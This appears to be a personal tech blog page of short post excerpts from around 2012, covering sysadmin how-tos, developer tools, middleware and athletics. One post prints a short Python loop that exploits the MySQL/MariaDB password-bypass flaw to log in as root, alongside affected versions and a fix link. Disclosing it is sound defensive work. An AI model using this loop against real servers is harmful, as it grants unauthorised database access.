Microservices, Monitoring, Infrastructure as Code & Test Automation

Rust, maintained by the Mozilla Foundation is a programming language which is intended to make writing secure, reliable, fast, and  parallel applications easier.

http://www.rust-lang.org/

Rackspace has just launched its cloud SDK.

It is based on the OpenStack open source cloud services.

http://devops.rackspace.com/523/rackspace-sdks

I always liked the name Julia but now we have a nice new parallel programming language with that very name.

The Julia Programming language is a parallel computing model that works across multiple cores and cluster nodes.

To read more
http://julialang.org/

Just recently I needed to perform some load / stress testing on a web application hosted on the east coast of america.

I had a number of dedicated test boxes around Ireland and the UK

but I was concerned that the geographic distance may be playing a part in the results I was seeing

So I needed to get a server in the US from which I could launch similar tests.

M-Net is a public-access UNIX system based in Ann Arbor, Michigan, owned by Arbornet

You can telnet in to m-net.arbornet.org, login with newuser, no password, and it will allow you setup a username with password on a free bsd shell

Great idea. It allowed me perform performance tests on my web app on the east coast from mid western US.

Installing sysstat on Ubuntu

1. Install
apt-get install sysstat

2. Enable collection of system performance data
vi /etc/default/sysstat
set “ENABLED” to “true”.

3. Start the sysstat service
/etc/init.d/sysstat start

4. Take a look at performance data every 10 minutes.
sar

If you'd like to change the interval (every 10 minutes) by which sysstat collects data.  You can change the interval by editing /etc/cron.d/sysstat
PATH=/usr/lib/sysstat:/usr/sbin:/usr/sbin:/usr/bin:/sbin:/bin
# Activity reports every 10 minutes everyday 5-55/10 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1
# Activity reports every 5 minutes everyday 5-55/5 * * * * root command -v debian-sa1 > /dev/null && debian-sa1 1 1

An interesting option I just came accross while trying to FTP a complete site down to my linux clinet from the command line

Instead of using the ftp client or mget etc

you can use

wget -r ftp://username:password@www.yourdomain.com/

But I think this may only recurse directories down to a level of 5

So using the switch -l 0

This solves that problem

wget -r  -l 0 ftp://username:password@www.yourdomain.com/

Hadoop can also be run on a single-node in a pseudo-distributed mode where each Hadoop daemon runs in a separate Java process.

1. Install Java SDK if not already
java -version
In my case java version "1.6.0_22" was available
So
whereis javac

If you don't have a recent java sdk installed download jdk and install
wget http://download.oracle.com/otn-pub/java/jdk/6u30-b12/jdk-6u30-linux-i586-rpm.bin

Make sure to note the location where you install for use later in setting JAVA_HOME in my case JAVA_HOME was set to /usr

2. Do some basic tasks to make life easy

mkdir /hadoop
useradd hadoop
passwd hadoop
groupadd hadoop

3. Get stable release of hadoop, install in to /hadoop/hadoop
cd /hadoop
wget http://ftp.heanet.ie/mirrors/www.apache.org/dist/hadoop/common/stable/hadoop-1.0.3.tar.gz

tar -xvf  hadoop-1.0.3.tar.gz

mv hadoop-1.0.3 hadoop
export HADOOP_INSTALL=/hadoop/hadoop
export PATH=$PATH:$HADOOP_INSTALL/bin
Set these up in your login profile to ensure they are set each time you login.

4.Se…

Some useful grep / sed / cut commands to help you monitor your log files and detect possible attacks to your system.

Mainly based on CentOS 5.4 but can be tailored for other distros

1. Search through /var/log/secure and determine what IPs have the highest failed attempts to your FTP daemon in this instance vsftpd

grep "authentication failure" secure.* | grep vsftpd   | sed s/::ffff://g  | cut -d' ' -f14 |sort|uniq -c|sort -nr|more


2. Search through /var/log/secure and determine what IPs have the highest failed attempts to your SSHD daemon
grep "refused connect from" secure.*  | grep "sshd" | sed s/::ffff://g  | cut -d' ' -f9 |sort|uniq -c|sort -nr|more

vi /root/MySQLByPass.py
==========
#!/usr/bin/python
import subprocess

while 1:
subprocess.Popen("mysql -u root mysql --password=xx",shell=True).wait()
==========
python /root/MySQLByPass.py

A vulnerability has been identified in Mysql and MariaDB.

Basically under specific conditions it is possible for an attacker to provide any password and it will be accepted.

The source file affected is password.c

you can find an more detailed explaination and a fix here

http://seclists.org/oss-sec/2012/q2/493

All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

If you know a username (root in most cases).  A situation arises where if you connect approx 250 to 300 times, that mysql will allow you connect without any password.

This was a procedure I found on the web to resolve error 0xc0000225 and 0x0000007b when booting a virtual windows 7 system after performing a p2v


Mont the Win7 DVD in VMware Workstation using the removable media options or else change the bios setting in the VM so it will boot from an ISO image.At the first screen (Language Selection), hit Shift-F10 for a command prompt.Run Regedit.Highlight HKEY_LOCAL_MACHINELoad the system hive from the VM's disk, File > Load HiveSelect < c: > \Windows\System32\config\systemRegedit will ask for a Key name: Name it something like "asdf"Expand HKEY_LOCAL_MACHINE\asdf\ControlSet001\Services\intelideChange the data for value "Start" from "3" to "0".For each service listed below under HKLM/System/CurrentControlSet001/Services/ set the "Start" parameter to the corresponding value from the list below
Aliide = 3
Amdide =3
Atapi = 0
Cmdide = 3
iaStorV = 3
intelide = 0
msahci = 3
pciide = 3
viaide …

Chive is a Web 2.0 front end for SQL database management.

http://www.chive-project.com/

PolyMon is an open source system monitoring solution that can be used to generate email alerts and analyze historical trends of monitor counters and monitor statuses.

It is based on the .NET 2.0 framework and SQL Server 2005.

The most recent version integrates with Visual Studio 2010

http://polymon.codeplex.com/

I write some software using VB.NET and C# and this is ideal as an add-on, where I can extend it to allow me monitor application specific logs.

Recently I needed to take a copy of a mysql database dump on a regular basis from a remote CentOS database server hosted in a data centre in the UK, on to a Windows Server based in Ireland also running a similar version of MySQL.

We require a copy of the data on an hourly basis

So I decided to try out unison to synchronize folders between a remote server and local server

Windows Server

Firstly download unison from this located at
http://www.cis.upenn.edu/~bcpierce/unison/download.html

When I downloaded the latest binary option for Windows you get two files, one is the text/command line tool and the other is an application based on gtk.

I took a copy of the command line application, created a folder called c:\unison an dropped my file in to that folder.You will also need to grab a copy of an ssh client that will run under windows. you can go with something like cygwin but I wanted something that was quick to install and had a small foot print so I selected

OpenSSH for Windows
http://sshwindo…

I've been developing some basic android applications.  
After carrying out some testing using the emulator within eclipse I wanted to deploy the app to my phone so I could show to some customers.
You'd think it would be fairly straight forward, not so.  
Anyway  a little problem I came across was when I ran the command 
adb devices
From the platform-tools folder it was showing no devices attached even though I'd connected my phone and I'd set USB debug mode according to the android SDK how-tos.
I also tried to reboot the adb daemon with
adb reboot recovery
Again no joy
Finally I tried the following and it worked
adb kill-server adb start-server
And finally adb devices listed my phone correctly

Recently I came across a problem where I needed to give users both internal and remote access to the admin features of an x-cart ecommerce site.

Basically in this instance we host the admin portion of the site on an internal server and the actual online store is hosted in two data centres one in Ireland and the other in the UK.

The problem I had, I wanted to use two different domains e.g.



http://intheoffice/admin
http://workingremote.yourdomain.com/admin


The problem with earlier versions of x-cart is that you can only assign a single domain name to the one installation.

To do this you change
$xcart_http_host to point to the domain you wish to use

I was using WAMP on a Windows Server 2003 system

So to get around this, because I was using only the admin portion of the site

I knew the source code for the admin features would not change that often (if at all)

so I created two working directories


c:\webfolder\internal    // this is the directory that will contain code which will be execute…

Recently I've been working on a project that involves creating an easy to use, quick way to rebuild a workstation in the event of a hardware failure.
The environment is very different to your typical network environment in that the following characteristics hold true
1. There is no internet connection on this workstation. 2. The workstations work in a harsh environment on a network segment of their up 3. There is a manual procedure in place to allow you connect the workstation to a central company network where you can access central file shares etc. 4. This environment is replicated throughout the business at several locations each location been isolated as above.
You can use tools like Ghost or Symantec System Recovery however I came up with this easy to use option that meets with the requirements of my client.
Because each machine is an identical build, we have a central computer in head office which hosts all the pre-installed software i.e. Windows 7, business applications, b…

This is a very crude example of how to use a windows batch script to backup each table within a mysql database to an individual sql file in a folder.

@ECHO OFF
FOR /F %%G IN ('"echo show tables | mysql -s -u user -ppassword mydatabase"')  DO mysqldump -s -u user --password=password mydatabase %%G > t:\mysqlbackup\tables\%%G.sql

If you develop software solutions that require the transfer of large XML files between computer systems accross a distributed network or if you are developing software for devices with limited computational resources such as memory or available bandwidth, OpenEXI can substantially enhance the performance of your software.

What is OpenEXI?

OpenEXI is an open source Java implementation that provides tools you can use to transform XML files to Efficient XML Interchange (EIX) format and
back.

This transformation can be performed very quickly with no risk of data loss.

What is EXI?

EXI (Efficient XML Interchange) is a more concise method of describing XML documents.

To find out more please visit the OpenEXI web site http://openexi.sourceforge.net/

Or watch this quick introduction.

Somehting you will notice if you are running JBoss from behind a firewall is that it can take a long time to respond to some events.

This is becasue JBoss is trying to resolve external references to xsd files.

You should see messages similar to this in your log files

16:07:03,071 WARN  [JBossEntityResolver] Trying to resolve systemId as a non-file URL: http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd

To get around this and to speed things up you need to change the reference in persistence.xml to a local xsd file

Like this

Step 1:

Download persistence_2_0.xsd, and place it in your META-INF folder.

Step 2:

Change persistence.xml to point to local file reference

<persistence version="2.0"
 xmlns="http://java.sun.com/xml/ns/persistence"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="file://persistence_2_0.xsd
        http://java.sun.com/xml/ns/persistence">

A good enough weekend, didn't throw that well on Saturday but it was my first competition in a long time.

So can only get better.  Need a lot of work to improve my throwing technique

Its a great hobby outside computers.  Next event will be the Kerry County Masters on 27th May this year.

Anyway time to get back to the serious work.

At last its time for my first athletics competition in over 15 years. My last competition was in 1997, a life time ago.  I was an average sprinter in those days 200m and 400m.

About 18 months ago I started to get fit again.

But its surprising how quickly the bug catches you, I started with a pretty basic routine 3 days per week but after a couple of months I already found myself trainign 5 to 6 times a week and enjoying it.

About 6 months ago I decided I'd put all that training to use, and I started to focus in on a specific event. I never did any throwing events before.

So I thought the shot put would be the easiest to learn.   Could I be more wrong.  For an event that looks very simple on TV, its a lot more complex.  But its good to learn something new.

Anyway first competition tomorrow.

The Leevale Games 2012

http://www.leevale.org/2012/leevale-2012-tf-meet-notices/


The European Junior 1500m silver-medallist Ciara Mageean will be taking part and I can't wait to see that ra…

Excellent presentation from Steve Hanson IBM, explaining DFDL and its implementation within IBM Websphere Message Broker v8.0


DFDL Implementation - Modeling Text and Binary Data using WebSphere Message Broker V8

Previous to Message Broker 7, the Transaction ID (TID) store was standalone and specific to each individual Broker in your system architecture architecture.  This made building HA solutions difficult and potentially error prone.

As a result it was possible for an event to generate duplicate updates as a result of having two different TIDs for the same event in two different TID stores (one for each broker).  


With the introduction of Message Broker 7 support for a shared queue as the TID store was introduced.
This enables a shared TID store to support multiple brokers, by configuring the TID store on a single remote queue manager.
As all brokers use the same central TID Store,  each Message Broker can ensure transaction integrity and avoid duplicate event delivery in the event of a connection failure.
http://www.ibm.com/developerworks/websphere/library/techarticles/1203_agarwal/1203_agarwal.html

SKIPFISH is an automated, active web application security assessment tool.

SKIPFISH can be used to run  a series of tests on a website or web application to help identify potential secuirty risks.

SKIPFISH will classify risks discovered as high, medium and low.

Example risks are

Server-side SQL injection Explicit SQL-like syntax in GET or POST parameters.Server-side shell command injectionServer-side XML / XPath injection Format string vulnerabilities.Integer overflow vulnerabilities.
For more information visit http://code.google.com/p/skipfish/

Spring Roo is a lightweight RAD tool for Java.  

Roo makes it fast and easy to develop software applications based on Spring.

Applications created using Spring Roo follow Spring best practices and are based on standards such as

JPABean Validation (JSR-303)Dependency Injection (JSR-330)
Roo is ideal for quick protoype application development and I've found it really useful for creating quick CRUD (Create, Read, Update and Delete) based software demos for clients.

In my view it still has a long way to go before it can be used for creating savy looking, complex commercially viable software solutions.

You can find out more at
http://www.springsource.org/roo 

DataCleaner is an easy to use open source data quality tool that is designed to help you profile, compare, validate and monitor datasets from various data sources.

DataCleaner consist of
A standalone windows application for profiling, comparing and validating your datasets.A web based applciation for monitoring datasets.
Some key features of DataCleaner include:
Profiles a dataset quicklyIntegrate with most data sources including Oracle, MySQL, MS Access, SQL Server, CSV files, dbase and moreFind out which values occur the most with the Value Distribution profileDiscover patterns in your dataset with the Pattern Finder You can find out more on the DataCleaner website here

w3af (Web Application audit and attack framework) is a framework for auditing and exploiting  web applications.  These are some excellent articles on using w3af to help with your web application penetration testing tasks.  

Walkthrough and tutorial – Part 1w3af walkthrough and tutorial part 2 – Discovery and Audit pluginsw3af Walkthrough and Tutorial
In addition you can also find a list of 35 Web Penetration Tools used for Web Application Vulnerability Testing listed here on Back2Hack

Cloudyn is the first service that allows people to optimize and control their costs for public cloud computing such as Amazon.

http://cloudyn.com/

In summary Cloudyn will  Help you change your image provisioning and price plans at Amazon so that you can achieve the results that you want at the lowest possible cost. Lead to higher usage of public cloud services such as Aamazon as their price/performance trade-off can now be better managed.Put additional pressure on internal IT departments and external IT service providers to provide the same kind of data and management options to their internal business funcitons and customers. Cloudyn is at a very early stage. They will need to extend the service to allow more sophisticated analysis of how cloud images are provisioned and utlised as a result of application specific performance demands such as transaction throughput, response times, concurrency etc

they will also need to extend the service to work with other cloud vendors i.e. Microsoft A…

Apache releases new generation of ApacheMQ
http://activemq.apache.org/apollo/index.html

And it produces some interesting performance results. You can read more at this blog

These guys ran STOMP benchmarks against the lastest releases of the 4 most feature packed STOMP servers:

Apache ActiveMQ 5.5.1Apache ActiveMQ Apollo 1.0 Beta 6 (an ActiveMQ Subproject)HornetQ 2.2.5RabbitMQ 2.7.0

A nice tool I came across recently ‘vmtouch’ which is used to help you manage what data is in memory.  Its great when failing over from one machine to another where there is no active memory profile already.
To get started download vmtouch from here http://hoytech.com/vmtouch/vmtouch.c
Then compile with the following gcc -Wall -O3 -o vmtouch vmtouch.c
To find out how much of your /bin directory is in the file system cache run
./vmtouch /bin
You will see something similar to this
       Files: 91      Directories: 1   Resident Pages: 512/2115  2M/8M  24.2%          Elapsed: 0.002669 seconds
If I want to check how much of mysqld is in the cache
./vmtouch  /usr/libexec/mysqld            Files: 1      Directories: 0   Resident Pages: 671/1886  2M/7M  35.6%          Elapsed: 0.00029 seconds
Say you want to check how much of your mysql indexes are in cache this is two examples
./vmtouch  /var/lib/mysql/xcart/xcart_products.MYI            Files: 1      Directories: 0   Resident Pages: 5309/5309  20M/20M  100%  …

import java.io.File;
import java.io.IOException;
import com.ibm.broker.config.appdev.MessageFlow;
import com.ibm.broker.config.appdev.FlowRendererMSGFLOW;

public class LoadMessageFlow
{
    public static void main(String[] args)
    {
        File oMsgFlowFile = new File("/root/ibm/myflow.msgflow");

        MessageFlow oMessageFlow = FlowRendererMSGFLOW.read(oMsgFlowFile);

        MQInputNode oNode1 = (MQInputNode) oMessageFlow.getNodeByName("Node1");
        MQOutputNode mNode2 = (MQOutputNode) oMessageFlow.getNodeByName("Node2");
        oMessageFlow.disconnect(oNode1.OUTPUT_TERMINAL_OUT, oNode2.INPUT_TERMINAL_IN);
    }
}

'----------------------------------------------------
' Basic Routine to Read / Parse XML Job Reports created
' by Symantec Backup Exec.

Dim serverName, backupJobFile, el, jobName, startDateTime, endDateTime, jobStatus
Dim fso,XMLDoc

Set fso = CreateObject("Scripting.FileSystemObject")

backupJobFile ="c:\xml\m.xml"

Set xmlDoc = CreateObject("Msxml2.DOMDocument")

xmlDoc.load(backupJobFile)

Set el = xmlDoc.getElementsByTagName("machine_name")
serverName = el.item(0).Text

Set el = xmlDoc.getElementsByTagName("name")
jobName = Replace(el.item(0).Text,"Job name: ","")

Set el = xmlDoc.getElementsByTagName("start_time")
startDateTime = Replace(el.item(0).Text,"Job started: ","")

Set el = xmlDoc.getElementsByTagName("end_time")
endDateTime = Replace(el.item(0).Text,"Backup completed on ","")

Set el = xmlDoc.getElementsByTagName("engine_completion_s…

A list of some new features in websphere Message Broker v8 Better support for Microsoft Integration via the .NET Compute node and access to COM objectsSupport for CLR based .NET languages including  C#, VB.NET.Support for DFDL which now allows your message flow to parse a variety of other data formats.Support for WS-ReliableMessaging (Web Services Reliable Messaging)Create message flows dynamically from your programs with a new command apiRecord, edit and replay messagesImproved activity logging to easily understand broker behaviorEasy to use browser based web administration interface.

In your AddContact.aspx page use something like the following

      <div class="row-fluid">
            <div class="span6">
                <h2>New Contact</h2>
            </div>
            <div class="span6">
                <asp:Label ID="AlertWindow" Visible="false" CssClass="alert alert-success" runat="server"></asp:Label>
            </div>
        </div>

And in your AddContact.aspx.vb code use something similar to this.  Basically set the message for the alert window, make the alert window visible and set the approprate css style.  You can make this  alot cleaner with a set of classes to implement bootstrap for ASP.NET.  So this is just an example.

    ......
    ......
    AlertWindow.Visible = True
    Try
        ......
        sSQLQuery = "INSERT INTO......"
        ......
        AlertWindow.Text = "New Contact Added Succes…

While this may not be 100% up to date its a useful start if you wish to compare the various business integration and business process automation software available on the market.

http://en.wikipedia.org/wiki/Comparison_of_business_integration_software

Firstly download, configure, compile and install gsoap

Step 1: get up and running
mkdir gsoap
wget http://sourceforge.net/projects/gsoap2/files/gSOAP/gSOAP%202.7.16%20stable/gsoap_2.7.16.zip/download
cd /root/gsoap/gsoap-2.7
yum install byacc
yum install bison
yum install flex
./configure
./make
./make install

Step 2: Setup working folder and create stubs from remote wsdl via URL. Note I'm just using plain old C and not C++.

mkdir ./OrderService

wsdl2h -c -o OrderService.h http://83.71.23.20:7800/acmeOrders/WADDR/ProcessOrders?wsdl
soapcpp2 -c OrderService.h
Step 3: Create your test C client using your fav editor (mine vi) #include "soapH.h" #include "OrderServiceSOAP.nsmap"
main() {    struct soap *soap = soap_new();    struct _ns1__submitPORequest  request;    struct _ns1__submitPOResponse response;
   request.partNo="1234";    request.partQuantity=1;    request.personName.firstName="Trevor";    request.personName.lastName="Trevor";    request…